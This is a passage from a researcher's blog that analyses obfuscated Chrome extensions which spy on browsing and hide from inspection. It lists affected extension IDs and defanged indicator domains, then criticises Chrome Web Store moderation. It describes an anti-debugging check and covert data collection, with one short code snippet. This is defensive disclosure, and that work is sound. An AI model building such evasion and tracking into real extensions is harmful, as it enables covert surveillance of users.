I’ll be looking at Sweet VPN as representative for 32 extensions I found using highly obfuscated code. These extensions aren’t exactly new to this blog either, my post in 2023 already named three of them even though I couldn’t identify the malicious functionality back then. Most likely I simply overlooked it, I didn’t have time to investigate each extension thoroughly.
These extensions also decided to circumvent remote code restrictions but their approach is way more elaborate. They download some JSON data from the server and add it to the extension’s storage. While some keys like proxy_list
are expected here and always present, a number of others are absent from the server response when the extension is first installed. These can contain malicious instructions.
Anti-debugging protection
For example, the four keys 0
, 1
, 2
, 3
seem to be meant for anti-debugging protection. If present, the values of these keys are concatenated and parsed as JSON into an array. A property resolution mechanism then allows resolving arbitrarily deep values, starting at the self
object of the extension’s background worker. The result are three values which are used like this:
value1({value2: value3}, result => {
…
});
This call is repeated every three seconds. If result
is a non-empty array, the extension removes all but a few storage keys and stops further checks. This is clearly meant to remove traces of malicious activity. I am not aware of any ways for an extension to detect an open Developer Tools window, so this call is probably meant to detect the extension management page that Developer Tools are opened from:
chrome.tabs.query({"url": "chrome://extensions/*"}, result => {
…
});
Guessing further functionality
This protection mechanism is only a very small part of the obfuscated logic in the extension. There are lots of values being decoded, tossed around, used in some function calls. It is difficult to reconstruct the logic with the key parts missing. However, the extension doesn’t have too many permissions:
"permissions": [
"proxy",
"storage",
"tabs"
],
"host_permissions": [
"https://ipapi.co/json/",
"https://ip.seeip.org/geoip",
"https://api.myip.com/",
"https://ifconfig.co/json"
],
Given that almost no websites can be accessed directly, it’s a safe bet that the purpose of the concealed functionality is spying on the users. That’s what the tabs
permission is for, to be notified of any changes in the user’s browsing session.
In fact, once you know that the function being passed as parameter is a tabs.onUpdated
listener its logic becomes way easier to understand, despite the missing parts. So the cl
key in the extension’s storage (other extensions often use other names) is the event queue where data about the user’s browsing is being stored. Once there are at least 10 events the queue is sent to the same address where the extension downloads its configuration from.
There are also some chrome.tabs.update()
calls in the code, replacing the address of the currently loading page by something else. It’s hard to be certain what these are used for: it could be search redirection, affiliate fraud or plainly navigating to advertising pages.
The affected extensions
Name | Weekly active users | Extension ID | Featured |
---|---|---|---|
VK UnBlock. Works fast. | 40,000 | ahdigjdpekdcpbajihncondbplelbcmo | |
VPN Proxy Master | 120 | akkjhhdlbfibjcfnmkmcaknbmmbngkgn | |
VPN Unblocker for Instagram | 8,000 | akmlnidakeiaipibeaidhlekfkjamgkm | |
StoriesHub | 100,000 | angjmncdicjedpjcapomhnjeinkhdddf | ✓ |
Facebook and Instagram Downloader | 30,000 | baajncdfffcpahjjmhhnhflmbelpbpli | |
Downloader for Instagram - ToolMaster | 100,000 | bgbclojjlpkimdhhdhbmbgpkaenfmkoe | ✓ |
TikTok in USA | 20,000 | bgcmndidjhfimbbocplkapiaaokhlcac | ✓ |
Sweet VPN | 100,000 | bojaonpikbbgeijomodbogeiebkckkoi | ✓ |
Access to Odnoklassniki | 4,000 | ccaieagllbdljoabpdjiafjedojoejcl | |
Ghost - Anonymous Stories for Instagram | 20,000 | cdpeckclhmpcancbdihdfnfcncafaicp | ✓ |
StorySpace Manager for FB and IG Stories | 10,000 | cicohiknlppcipjbfpoghjbncojncjgb | ✓ |
VPN Unblocker for YouTube | 40,000 | cnodohbngpblpllnokiijcpnepdmfkgm | |
Universal Video Downloader | 200,000 | cogmkaeijeflocngklepoknelfjpdjng | ✓ |
Free privacy connection - VPN guru | 500,000 | dcaffjpclkkjfacgfofgpjbmgjnjlpmh | ✓ |
Live Recorder for Instagram aka MasterReco | 10,000 | djngbdfelbifdjcoclafcdhpamhmeamj | |
Video Downloader for Vimeo | 100,000 | dkiipfbcepndfilijijlacffnlbchigb | ✓ |
VPN Ultimate - Best VPN by unblock | 400,000 | epeigjgefhajkiiallmfblgglmdbhfab | ✓ |
Insured Smart VPN - Best Proxy ever unblock everything | 2,000 | idoimknkimlgjadphdkmgocgpbkjfoch | |
Ultra Downloader for Instagram | 30,000 | inekcncapjijgfjjlkadkmdgfoekcilb | ✓ |
Parental Control. Blocks porn, malware, etc. | 3,000 | iohpehejkbkfdgpfhmlbogapmpkefdej | ✓ |
UlV. Ultimate downloader for Vimeo | 2,000 | jpoobmnmkchgfckdlbgboeaojhgopidn | |
Simplify. Downloader for Instagram | 20,000 | kceofhgmmjgfmnepogjifiomgojpmhep | ✓ |
Download Facebook Video | 591 | kdemfcffpjfikmpmfllaehabkgkeakak | |
VPN Unblocker for Facebook | 3,000 | kheajjdamndeonfpjchdmkpjlemlbkma | |
Video Downloader for FaceBook | 90,000 | kjnmedaeobfmoehceokbmpamheibpdjj | ✓ |
TikTok Video Keeper | 40,000 | kmobjdioiclamniofdnngmafbhgcniok | ✓ |
Mass Downloader for Instagram | 100,000 | ldoldiahbhnbfdihknppjbhgjngibdbe | ✓ |
Stories for FaceBook - Anon view, download | 3,000 | nfimgoaflmkihgkfoplaekifpeicacdn | ✓ |
VPN Surf - Fast VPN by unblock | 800,000 | nhnfcgpcbfclhfafjlooihdfghaeinfc | ✓ |
TikTok Video Downloader | 20,000 | oaceepljpkcbcgccnmlepeofkhplkbih | |
Video Downloader for FaceBook | 10,000 | ododgdnipimbpbfioijikckkgkbkginh | |
Exta: Pro downloader for Instagram | 10,000 | ppcmpaldbkcoeiepfbkdahoaepnoacgd | ✓ |
Bonus section: more malicious extensions
Update (2025-01-20): Added Adblock Bear and AdBlock 360 after a hint from a commenter.
As is often the case with Chrome Web Store, my searches regularly turned up more malicious extensions unrelated to the ones I was looking for. Some of them also devised their mechanisms to execute remote code. I didn’t find more extensions using the same approach, which of course doesn’t mean that there are none.
Adblock for Youtube is yet another browser extension essentially bundling an interpreter for their very own minimalistic programming language. One part of the instructions it receives from its server is executed in the context of the privileged background worker, the other in the content script context.
EasyNav, Adblock Bear and AdBlock 360 use an approach quite similar to Phoenix Invicta. In particular, they add rules to the declarativeNetRequest
API that they receive from their respective server. EasyNav also removes security headers. These extensions don’t bother with HTML injection however, instead their server produces a list of scripts to be injected into web pages. There are specific scripts for some domains and a fallback for everything else.
Download Manager Integration Checklist is merely supposed to display some instructions, it shouldn’t need any privileges at all. Yet this extension requests access to all web pages and will add rules to the declarativeNetRequest
API that it downloads from its server.
Translator makes it look like its configuration is all about downloading a list of languages. But it also contains a regular expression to test against website addresses and the instructions on what to do with matching websites: a tag name of the element to create and a bunch of attributes to set. Given that the element isn’t removed after insertion, this is probably about injecting advertising frames. This mechanism could just as well be used to inject a script however.
The affected extensions
Name | Weekly active users | Extension ID | Featured |
---|---|---|---|
Adblock for Youtube™ - Auto Skip ad | 8,000 | anceggghekdpfkjihcojnlijcocgmaoo | ✓ |
EasyNav | 30,000 | aobeidoiagedbcogakfipippifjheaom | |
Adblock Bear - stop invasive ads | 100,000 | gdiknemhndplpgnnnjjjhphhembfojec | |
AdBlock 360 | 400,000 | ghfkgecdjkmgjkhbdpjdhimeleinmmkl | |
Download Manager Integration Checklist | 70,000 | ghkcpcihdonjljjddkmjccibagkjohpi | ✓ |
Translator | 100,000 | icchadngbpkcegnabnabhkjkfkfflmpj |
IOCs
The following domain names are associated with Phoenix Invicta:
- 1-click-cp[.]com
- adblock-ads-and-yt[.]pro
- agadata[.]online
- anysearch[.]guru
- anysearchnow[.]info
- astatic[.]site
- astato[.]online
- astralink[.]click
- best-browser-extensions[.]com
- better-color-picker[.]guru
- betterfind[.]online
- capture-it[.]online
- chrome-settings[.]online
- click-and-pick[.]pro
- color-picker-quick[.]info
- customcursors[.]online
- dailyview[.]site
- datalocked[.]online
- dmext[.]online
- dopni[.]com
- doublestat[.]info
- doubleview[.]online
- easy-dark-mode[.]online
- emojikeyboard[.]site
- everyview[.]info
- fasterbrowser[.]online
- fastertabs[.]online
- findmanual[.]org
- fivem[.]com[.]tr
- fixfind[.]online
- font-expert[.]pro
- freestikers[.]top
- freetabmemory[.]online
- get-any-manual[.]pro
- get-manual[.]info
- getresult[.]guru
- good-ship[.]com
- gulkayak[.]com
- isstillalive[.]com
- kralforum[.]com[.]tr
- locodata[.]site
- lottingem[.]com
- manual-finder[.]site
- manuals-viewer[.]info
- megaboost[.]site
- nocodata[.]online
- ntdataview[.]online
- picky-ext[.]pro
- pocodata[.]pro
- readtxt[.]pro
- rumorpix[.]com
- screencapx[.]co
- searchglobal[.]online
- search-protection[.]org
- searchresultspage[.]online
- shurkul[.]online
- skipadsplus[.]online
- skip-all-ads[.]info
- skip-n-watch[.]info
- skippy[.]pro
- smartsearch[.]guru
- smartsearch[.]top
- socialtab[.]top
- soundbooster[.]online
- speechit[.]pro
- super-sound-booster[.]info
- tabmemoptimizer[.]site
- taboptimizer[.]com
- text-speecher[.]online
- topodat[.]info
- triplestat[.]online
- true-sound-booster[.]online
- ufind[.]site
- video-downloader-click-save[.]online
- video-downloader-plus[.]info
- vipoisk[.]ru
- vipsearch[.]guru
- vipsearch[.]top
- voicereader[.]online
- websiteconf[.]online
- youtube-ads-skip[.]site
- ystatic[.]site
The following domain names are used by Netflix Party and related extensions:
- abforbrowser[.]com
- autorefresh[.]co
- autorefreshplus[.]in
- getmatchingcouponsanddeals[.]info
- pipextension[.]com
- smartadblocker[.]com
- telenetflixparty[.]com
- ytadblock[.]com
- ytadskip[.]com
The following domain names are used by Sweet VPN and related extensions:
- analyticsbatch[.]com
- aquafreevpn[.]com
- batchindex[.]com
- browserdatahub[.]com
- browserlisting[.]com
- checkbrowserer[.]com
- countstatistic[.]com
- estimatestatistic[.]com
- metricbashboard[.]com
- proxy-config[.]com
- qippin[.]com
- realtimestatistic[.]com
- secondstatistic[.]com
- securemastervpn[.]com
- shceduleuser[.]com
- statisticindex[.]com
- sweet-vpn[.]com
- timeinspection[.]com
- traficmetrics[.]com
- trafficreqort[.]com
- ultimeo-downloader[.]com
- unbansocial[.]com
- userestimate[.]com
- virtualstatist[.]com
- webstatscheck[.]com
These domain names are used by the extensions in the bonus section:
- adblock-360[.]com
- easynav[.]net
- internetdownloadmanager[.]top
- privacy-bear[.]net
- skipads-ytb[.]com
- translatories[.]com
Chrome Web Store is a mess
Let’s make one thing clear first: I’m not singling out Google’s handling of problematic and malicious browser extensions because it is worse than Microsoft’s for example. No, Microsoft is probably even worse but I never bothered finding out. That’s because Microsoft Edge doesn’t matter, its market share is too small. Google Chrome on the other hand is used by around 90% of the users world-wide, and one would expect Google to take their responsibility to protect its users very seriously, right? After all, browser extensions are one selling point of Google Chrome, so certainly Google would make sure they are safe?

Unfortunately, my experience reporting numerous malicious or otherwise problematic browser extensions speaks otherwise. Google appears to take the “least effort required” approach towards moderating Chrome Web Store. Their attempts to automate all things moderation do little to deter malicious actors, all while creating considerable issues for authors of legitimate add-ons. Even when reports reach Google’s human moderation team, the actions taken are inconsistent, and Google generally shies away from taking decisive actions against established businesses.
As a result, for a decade my recommendation for Chrome users has been to stay away from Chrome Web Store if possible. Whenever extensions are absolutely necessary, it should be known who is developing them, why, and how the development is being funded. Just installing some extension from Chrome Web Store, including those recommended by Google or “featured,” is very likely to result in your browsing data being sold or worse.
Google employees will certainly disagree with me. Sadly, much of it is organizational blindness. I am certain that you meant it well and that you did many innovative things to make it work. But looking at it from the outside, it’s the result that matters. And for the end users the result is a huge (and rather dangerous) mess.
Contents
Some recent examples
Five years ago I discovered that Avast browser extensions were spying on their users. Mozilla and Opera disabled the extension listings immediately after I reported it to them. Google on the other hand took two weeks where they supposedly discussed their policies internally. The result of that discussion was eventually their “no surprises” policy:
Building and maintaining user trust in the Chrome Web Store is paramount, which means we set a high bar for developer transparency. All functionalities of extensions should be clearly disclosed to the user, with no surprises. This means we will remove extensions which appear to deceive or mislead users, enable dishonest behavior, or utilize clickbaity functionality to artificially grow their distribution.
So when dishonest behavior from extensions is reported today, Google should act immediately and decisively, right? Let’s take a look at two examples that came up in the past few months.
In October I wrote about the refoorest extension deceiving its users. I could conclusively prove that Colibri Hero, the company behind refoorest, deceives their users on the number of trees they supposedly plant, incentivizing users into installing with empty promises. In fact, there is strong indication that the company never even donated for planting trees beyond a rather modest one-time donation.
Google got my report and dealt with it. What kind of action did they take? That’s a very good question that Google won’t answer. But refoorest is still available from Chrome Web Store, it is still “featured” and it still advertises the very same completely made up numbers of trees they supposedly planted. Google even advertises for the extension, listing it in the “Editors’ Picks extensions” collection, probably the reason why it gained some users since my report. So much about being honest. For comparison: refoorest used to be available from Firefox Add-ons as well but was already removed when I started my investigation. Opera removed the extension from their add-on store within hours of my report.
But maybe that issue wasn’t serious enough? After all, there is no harm done to users if the company is simply pocketing the money they claim to spend on a good cause. So also in October I wrote about the Karma extension spying on users. Users are not being notified about their browsing data being collected and sold, except for a note buried in their privacy policy. Certainly, that’s identical to the Avast case mentioned before and the extension needs to be taken down to protect users?

Again, Google got my report and dealt with it. And again I fail to see any result of their action. The Karma extension remains available on Chrome Web Store unchanged, it will still notify their server about every web page you visit (see screenshot above). The users still aren’t informed about this. Yet their Chrome Web Store page continues to claim “This developer declares that your data is not being sold to third parties, outside of the approved use cases,” a statement contradicted by their privacy policy. The extension appears to have lost its “Featured” badge at some point but now it is back.
Note: Of course Karma isn’t the only data broker that Google tolerates in Chrome Web Store. I published a guest article today by a researcher who didn’t want to disclose their identity, explaining their experience with BIScience Ltd., a company misleading millions of extension users to collect and sell their browsing data. This post also explains how Google’s “approved use cases” effectively allow pretty much any abuse of users’ data.
Mind you, neither refoorest nor Karma were alone but rather recruited or bought other browser extensions as well. These other browser extensions were turned outright malicious, with stealth functionality to perform affiliate fraud and/or collect users’ browsing history. Google’s reaction was very inconsistent here. While most extensions affiliated with Karma were removed from Chrome Web Store, the extension with the highest user numbers (and performing affiliate fraud without telling their users) was allowed to remain for some reason.
With refoorest, most affiliate extensions were removed or stopped using their Impact Hero SDK. Yet when I checked more than two months after my report two extensions from my original list still appeared to include that hidden affiliate fraud functionality and I found seven new ones that Google apparently didn’t notice.
The reporting process
Now you may be wondering: if I reported these issues, why do I have to guess what Google did in response to my reports? Actually, keeping me in the dark is Google’s official policy:

This is by the way the response I received in November after pointing out the inconsistent treatment of the extensions. A month later the state of affairs was still that some malicious extensions got removed while other extensions with identical functionality were available for users to install, and I have no idea why that is. I’ve heard before that Google employees aren’t allowed to discuss enforcement actions, and your guess is as good as mine as to whom this policy is supposed to protect.
Supposedly, the idea of not commenting on policy enforcement actions is hiding the internal decision making from bad actors, so that they don’t know how to game the process. If that’s the theory however, it isn’t working. In this particular case the bad actors got some feedback, be it through their extensions being removed or due to the adjustments demanded by Google. It’s only me, the reporter of these issues, who needs to be guessing.
But, and this is a positive development, I’ve received a confirmation that both these reports are being worked on. This is more than I usually get from Google which is: silence. And typically also no visible reaction either, at least until a report starts circulating in media publications forcing Google to act on it.
But let’s take a step back and ask ourselves: how does one report Chrome Web Store policy violations? Given how much Google emphasizes their policies, there should be an obvious way?
In fact, there is a support document on reporting issues. And when I started asking around, even Google employees would direct me to it.
If you find something in the Chrome Web Store that violates the Chrome Web Store Terms of Service, or trademark or copyright infringement, let us know.
Sounds good, right? Except that the first option says:
At the bottom left of the window, click Flag Issue.
Ok, that’s clearly the old Chrome Web Store. But we understand of course that they mean the “Flag concern” link which is nowhere near the bottom. And it gives us the following selection:

This doesn’t really seem like the place to report policy violations. Even “Felt suspicious” isn’t right for an issue you can prove. And, unsurprisingly, after choosing this option Google just responds with:
Your abuse report has been submitted successfully.
No way to provide any details. No asking for my contact details in case they have questions. No context whatsoever, merely “felt suspicious.” This is probably fed to some algorithm somewhere which might result in… what actually? Judging by malicious extensions where users have been vocally complaining, often for years: nothing whatsoever. This isn’t the way.
Well, there is another option listed in the document:
If you think an item in the Chrome Web Store violates a copyright or trademark, fill out this form.
Yes, Google seems to care about copyright and trademark violations, but a policy violation isn’t that. If we try the form nevertheless it gives us a promising selection:

Finally! Yes, policy reasons are exactly what we are after, let’s click that. And there comes another choice:

That’s really the only option offered. And I have questions. At the very least those are: in what jurisdiction is child sexual abuse material a non-legal reason to report content? And: since when is that the only policy that Chrome Web Store has?
We can go back and try “Legal Reasons to Report Content” of course but the options available are really legal issues: intellectual properties, court orders or violations of hate speech law. This is another dead end.
It took me a lot of asking around to learn that the real (and well-hidden) way to report Chrome Web Store policy violations is Chrome Web Store One Stop Support. I mean: I get it that Google must be getting lots of non-sense reports. And they probably want to limit that flood somehow. But making legitimate reports almost impossible can’t really be the way.
In 2019 Google launched the Developer Data Protection Reward Program (DDPRP) meant to address privacy violations in Chrome extensions. Its participation conditions were rather narrow for my taste, pretty much no issue would qualify for the program. But at least it was a reliable way to report issues which might even get forwarded internally. Unfortunately, Google discontinued this program in August 2024.
It’s not that I am very convinced of DDPRP’s performance. I’ve used that program twice. First time I reported Keepa’s data exfiltration. DDPRP paid me an award for the report but, from what I could tell, allowed the extension to continue unchanged. The second report was about the malicious PDF Toolbox extension. The report was deemed out of scope for the program but forwarded internally. The extension was then removed quickly, but that might have been due to the media coverage. The benefit of the program was really: it was a documented way of reaching a human being at Google that would look at a problematic extension.
Chrome Web Store and their spam issue
In theory, there should be no spam on Chrome Web Store. The policy is quite clear on that:
We don’t allow any developer, related developer accounts, or their affiliates to submit multiple extensions that provide duplicate experiences or functionality on the Chrome Web Store.
Unfortunately, this policy’s enforcement is lax at best. Back in June 2023 I wrote about a malicious cluster of Chrome extensions. I listed 108 extensions belonging to this cluster, pointing out their spamming in particular:
Well, 13 almost identical video downloaders, 9 almost identical volume boosters, 9 almost identical translation extensions, 5 almost identical screen recorders are definitely not providing value.
I’ve also documented the outright malicious extensions in this cluster, pointing out that other extensions are likely to turn malicious as well once they have sufficient users. And how did Google respond? The malicious extensions have been removed, yes. But other than that, 96 extensions from my original list remained active in January 2025, and there were of course more extensions that my original report didn’t list. For whatever reason, Google chose not to enforce their anti-spam policy against them.
And that’s merely one example. My most recent blog post documented 920 extensions using tricks to spam Chrome Web Store, most of them belonging to a few large extension clusters. As it turned out, Google was made aware of this particular trick a year before my blog post already. And again, for some reason Google chose not to act.
Can extension reviews be trusted?
So when you search for extensions in Chrome Web Store, many results will likely come from one of the spam clusters. But the choice to install a particular extension is typically based on reviews. Can at least these reviews be trusted? Concerning moderation of reviews Google says:
Google doesn’t verify the authenticity of reviews and ratings, but reviews that violate our terms of service will be removed.
And the important part in the terms of service is:
Your reviews should reflect the experience you’ve had with the content or service you’re reviewing. Do not post fake or inaccurate reviews, the same review multiple times, reviews for the same content from multiple accounts, reviews to mislead other users or manipulate the rating, or reviews on behalf of others. Do not misrepresent your identity or your affiliation to the content you’re reviewing.
Now you may be wondering how well these rules are being enforced. The obviously fake review on the Karma extension is still there, three months after being posted. Not that it matters, with their continuous stream of incoming five star reviews.
A month ago I reported an extension to Google that, despite having merely 10,000 users, received 19 five star reviews on a single day in September – and only a single (negative) review since then. I pointed out that it is a consistent pattern across all extensions of this account, e.g. another extension (merely 30 users) received 9 five star reviews on the same day. It really doesn’t get any more obvious than that. Yet all these reviews are still online.

And it isn’t only fake reviews. The refoorest extension incentivizes reviews which violates Google’s anti-spam policy (emphasis mine):
Developers must not attempt to manipulate the placement of any extensions in the Chrome Web Store. This includes, but is not limited to, inflating product ratings, reviews, or install counts by illegitimate means, such as fraudulent or incentivized downloads, reviews and ratings.
It has been three months, and they are still allowed to continue. The extension gets a massive amount of overwhelmingly positive reviews, users get their fake trees, everybody is happy. Well, other than the people trying to make sense of these meaningless reviews.
With reviews being so easy to game, it looks like lots of extensions are doing it. Sometimes it shows as a clearly inflated review count, sometimes it’s the overwhelmingly positive or meaningless content. At this point, any user ratings with the average above 4 stars likely have been messed with.
The “featured” extensions
But at least the “Featured” badge is meaningful, right? It certainly sounds like somebody at Google reviewed the extension and considered it worthy of carrying the badge. At least Google’s announcement indeed suggests a manual review:
Chrome team members manually evaluate each extension before it receives the badge, paying special attention to the following:
- Adherence to Chrome Web Store’s best practices guidelines, including providing an enjoyable and intuitive experience, using the latest platform APIs and respecting the privacy of end-users.
- A store listing page that is clear and helpful for users, with quality images and a detailed description.
Yet looking through 920 spammy extensions I reported recently, most of them carry the “Featured” badge. Yes, even the endless copies of video downloaders, volume boosters, AI assistants, translators and such. If there is an actual manual review of these extensions as Google claims, it cannot really be thorough.
To provide a more tangible example, Chrome Web Store currently has Blaze VPN, Safum VPN and Snap VPN extensions carry the “Featured” badge. These extensions (along with Ishaan VPN which has barely any users) belong to the PDF Toolbox cluster which produced malicious extensions in the past. A cursory code inspection reveals that all four are identical and in fact clones of Nucleus VPN which was removed from Chrome Web Store in 2021. And they also don’t even work, no connections succeed. The extension not working is something users of Nucleus VPN complained about already, a fact that the extension compensated with fake reviews.
So it looks like the main criteria for awarding the “Featured” badge are the things which can be easily verified automatically: user count, Manifest V3, claims to respect privacy (not even the privacy policy, merely that the right checkbox was checked), a Chrome Web Store listing with all the necessary promotional images. Given how many such extensions are plainly broken, the requirements on the user interface and generally extension quality don’t seem to be too high. And providing unique functionality definitely isn’t on the list of criteria.
In other words: if you are a Chrome user, the “Featured” badge is completely meaningless. It is no guarantee that the extension isn’t malicious, not even an indication. In fact, authors of malicious extensions will invest some extra effort to get this badge. That’s because the website algorithm seems to weigh the badge considerably towards the extension’s ranking.
How did Google get into this mess?
Google Chrome first introduced browser extensions in 2011. At that point the dominant browser extensions ecosystem was Mozilla’s, having been around for 12 years already. Mozilla’s extensions suffered from a number of issues that Chrome developers noticed of course: essentially unrestricted privileges necessitated very thorough reviews before extensions could be published on Mozilla Add-ons website, due to high damage potential of the extensions (both intentional and unintentional). And since these reviews relied largely on volunteers, they often took a long time, with the publication delays being very frustrating to add-on developers.
Disclaimer: I was a reviewer on Mozilla Add-ons myself between 2015 and 2017.
Google Chrome was meant to address all these issues. It pioneered sandboxed extensions which allowed limiting extension privileges. And Chrome Web Store focused on automated reviews from the very start, relying on heuristics to detect problematic behavior in extensions, so that manual reviews would only be necessary occasionally and after the extension was already published. Eventually, market pressure forced Mozilla to adopt largely the same approaches.
Google’s over-reliance on automated tools caused issues from the very start, and it certainly didn’t get any better with the increased popularity of the browser. Mozilla accumulated a set of rules to make manual reviews possible, e.g. all code should be contained in the extension, so no downloading of extension code from web servers. Also, reviewers had to be provided with an unobfuscated and unminified version of the source code. Google didn’t consider any of this necessary for their automated review systems. So when automated review failed, manual review was often very hard or even impossible.
It’s only with the introduction of Manifest V3 now that Chrome finally prohibits remote hosted code. And it took until 2018 to prohibit code obfuscation, while Google’s reviewers still have to reverse minification for manual reviews. Mind you, we are talking about policies that were already long established at Mozilla when Google entered the market in 2011.
And extension sandboxing, while without doubt useful, didn’t really solve the issue of malicious extensions. I already wrote about one issue back in 2016:
The problem is: useful extensions will usually request this kind of “give me the keys to the kingdom” permission.
Essentially, this renders permission prompts useless. Users cannot possibly tell whether an extension has valid reasons to request extensive privileges. So legitimate extensions have to constantly deal with users who are confused about why the extension needs to “read and change all your data on all websites.” At the same time, users are trained to accept such prompts without thinking twice.
And then malicious add-ons come along, requesting extensive privileges under a pretense. Monetization companies put out guides for extension developers on how they can request more privileges for their extensions while fending off complains from users and Google alike. There is a lot of this going on in Chrome Web Store, and Manifest V3 couldn’t change anything about it.
So what we have now is:
- Automated review tools that malicious actors willing to invest some effort can work around.
- Lots of extensions with the potential for doing considerable damage, yet little way of telling which ones have good reasons for that and which ones abuse their privileges.
- Manual reviews being very expensive due to historical decisions.
- Massively inflated extension count due to unchecked spam.
Number 3 and 4 in particular seem to further trap Google in the “it needs to be automated” mindset. Yet adding more automated layers isn’t going to solve the issue when there are companies which can put a hundred employees on devising new tricks to avoid triggering detection. Yes, malicious extensions are big business.
What could Google do?
If Google were interested in making Chrome Web Store a safer place, I don’t think there is a way around investing considerable (manual) effort into cleaning up the place. Taking down a single extension won’t really hurt the malicious actors, they have hundreds of other extensions in the pipeline. Tracing the relationships between extensions on the other hand and taking down the entire cluster – that would change things.
As the saying goes, the best time to do this was a decade ago. The second best time is right now, when Chrome Web Store with its somewhat less than 150,000 extensions is certainly large but not yet large enough to make manual investigations impossible. Besides, there is probably little point in investigating abandoned extensions (latest release more than two years ago) which make up almost 60% of Chrome Web Store.
But so far Google’s actions have been entirely reactive, typically limited to extensions which already caused considerable damage. I don’t know whether they actually want to stay on top of this. From the business point of view there is probably little reason for that. After all, Google Chrome no longer has to compete for market share, having essentially won against the competition. Even with Chrome extensions not being usable, Chrome will likely stay the dominant browser.
In fact, Google has significant incentives to keep a particular class of extensions low, so one might even suspect intention behind allowing Chrome Web Store to be flooded with shady and outright malicious ad blockers.